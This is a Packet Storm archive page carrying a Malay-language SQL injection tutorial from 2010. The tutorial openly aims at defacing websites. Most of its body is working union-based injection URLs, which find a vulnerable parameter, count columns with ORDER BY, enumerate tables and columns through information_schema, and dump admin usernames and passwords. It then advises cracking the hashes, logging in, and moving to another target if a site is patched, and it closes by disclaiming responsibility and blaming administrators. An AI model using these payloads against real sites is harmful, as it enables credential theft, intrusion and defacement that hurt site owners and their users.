what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

SQL Injection Paper

SQL Injection Paper
Posted Jan 20, 2010
Authored by r3v3r7

Whitepaper regarding SQL injection. Written in Bahasa Melayu.

tags | paper, sql injection
SHA-256 | 8c6dd845e0de403b06a573c9ef7fc8c1b3ed2b4213bcd0af8cf2c8bd84d47c0c

SQL Injection Paper

Change Mirror Download
--------------------------------------------------------------------------------------
Pengenalan:
--------------------------------------------------------------------------------------

Defacement? Best ker? bagaimana caranya? Sebelum tu apa itu SQL dan SQL injection? ok, SQL ialah Structured Query Language.. cara sebutannya ialah es-q-el dan bukannya sequel(ramai yang menyebut seperti ini)… SQL sebenarnya ialah Relational Database Management sayastem, database schema creation and modification, and database object access control management.

Ok, SQL injection pula ialah satu tekinik untuk mendapatkn error pada sesuatu laman web… contohnya, 1=1 ialah TRUE dan 1=0 ialah FALSE, maka, statement TRUE akan digunakan memaparkan isi kandungan web tersebut.. Dan jika statement itu FALSE, maka web tidak akan memaparkan isi kandungan yang sepatutnya…

Bagaimana untuk menjadikan sesebuah web itu untuk memaparkan statement FALSE? Sebenarnya, ia bergantung samada web itu telah diPATCH/diFILTER daripada vuln, bug, error atau exploit…

Bagaimana pula untuk mengetahui samada sesebuah web itu mempunyai vuln/bug? Banyak cara dapat digunakan seperti menggunakan vuln scanner, google dork(ikut nasib), bot, dan lain2 lagi…

--------------------------------------------------------------------------------------
Langkah-langkah:
--------------------------------------------------------------------------------------
ok, sekarang saat yang ditunggu..caranya:

lihat pada url spt:

http://target/index.php?id=8

cuba tambahkan tanda ‘ pada akhir url spt:

http://target/index.php?id=8′

ataupun and 1=1-- untuk TRUE dan 1=0-- untuk FALSE

abaikan tanda %20 pada url kerana itu hanya sayambol untuk space

lihat apa yang terjadi pada web tersebut.. ada error yang keluar? jika ada error maka web tersebut 99% boleh ditembusi dan jika tiada apa2 yang terjadi
maka web tersebut telah pn diPATCH..maka, carilah target lain..

contoh error spt:

Warining: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /homepages/xxx/xxx/xxx/www/home.php on line 16

seterusnya cari pada column ke berapa boleh menjalankan injection..oleh itu jalankn perintah order by..contohnya:

http://target/index.php?id=8 order by 10

lihat samada masih ad error atau tidak.. jika ada, bagus, dan jika tiada tambah bilangan order by… contohnya:

http://target/index.php?id=8 order by 20

seterusnya, cari sehingga error terakhir… contoh:

http://target/index.php?id=8 order by 8 ——> error

http://target/index.php?id=8 order by 7 ——-> tiada error

maka, iini bermaksud order by 7 ialah error terakhir..

seterusnya jalankn perintah uinion select… contoh:

http://target/index.php?id=-8+uinion+select+1,2,3,4,5,6,7--

note: mesti sehingga no last error tadi dan jangan lupa tanda – pada depan no id dan tanda -- pada akhir url…

Lihat ada atau tidak no ajaib yang muncul pada web…

A’ha.. pada no yang muncul itulah kita akan menjalankan operasi..huhuhu..

Disini ada beberapa perintah yang biasa dijalankan pada tempat no ajaib itu tadi:

database() : Menampilkan nama database yang digunakan
user() : Username pada database tersebut
version() : Melihat versi database

Andaikan no ajaib kita ialah 2 dan 3.. Dan cara untuk menjalankan perintah diatas ialah:

http://target/index.php?id=-8+uinion+select+1,user(),version(),4,5,6,7--

maka kita akan melihat:

root@localhost —–> username pada database

5.0.45-commuinity-nt ——-> version database

hahah..beruntung sebab dapat version 5.. kenapa? nanti saya terangkn..

Seterusnya, cari table yang terdapat pada database itu..

Jalankan perintah group_concat(table_name) pada tempat no ajaib dan +from+information_schema.tables+where+table_schema=database()– pada akhir url..

contoh:

http://target/index.php?id=-8+uinion+select+1,group_concat(table_name),version(),4,5,6,7
+from+information_schema.tables+where+table_schema=database()–

maka akan terpapar banyak nama table dan kita hanya akan ambil 1 yang menarik yang agak2 mempunyai username dan password admin..huhuhu..

contohny: tbl_admin, user, users, private, dll lagi..

Kita perlu convert nama table kpd bentuk hexa untuk mengelakkan error..saya menggunakn web: http://www.string-functions.com/string-hex.aspx..

Setelah saya convert tbl_admin, outputnya ialah 74626c5f61646d696e… maka kita perlu menambah angka 0 dan huruf x pada awal hasil hexa tadi..

contoh: 0×74626c5f61646d696e

Seterusnya dapatkn pula nama column…Jalankn perintah group_concat(column_name)..contoh:

http://target/index.php?id=-8+uinion+select+1,group_concat(column_name),version(),4,5,6,7
+from+information_schema.columns+where+table_name=0×7461626c655f75736572–

Maka, nama column akan terpapar pada web itu..

contoh: id, usermane, password, date, etc…

yeah.. sudah dapat.. maka jalankn perintah:

http://target/index.php?id=-8+uinion+select+1,database(),
concat(user,0×3a,password),4,5+from+tbl_admin–

note: 0×3a ialah pemisah tanda :

Akhirnya, username dan password akan terpapar..hahaha.. so, boleh la kita login tetapi kita perlu crack dlu password die..(tanya google)..huhuhu…

--------------------------------------------------------------------------------------
Disebalik database "information_schema":
--------------------------------------------------------------------------------------

Secara default ketika menginstall MySQL Versi 5 terdapat database information_schema dan semua nama table dan colomn dari database() disimpan didalam database information_schema..

note: Kenapa MySQL Version 4 susah di-inject?

MySQL version 4 tidak mempunyai database information_schema… maka untuk mendapatkan nama table ialah dengan cara hentam, sental alam, tembak, apa2 lg la istilah anda.. Cara lain ialah menggunakan tool Fuzzer spt schemafuzz…

Emm..nampaknya itu saja.. SQL injection sebenarnya dapat dilakukan dgn banyak cara lagi bergantung pada skill seseorg..

--------------------------------------------------------------------------------------
Penutup:
--------------------------------------------------------------------------------------

Saya TIDAK bertanggungjawab atas semua defacement yang anda lakukan.. disini hanya panduan konsep dan sebenarnya adalah salah admin itu sendiri kerana lalai dalam mengawal kesamatan server/web mereka sendiri..


Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    0 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    0 Files
  • 10
    May 10th
    0 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close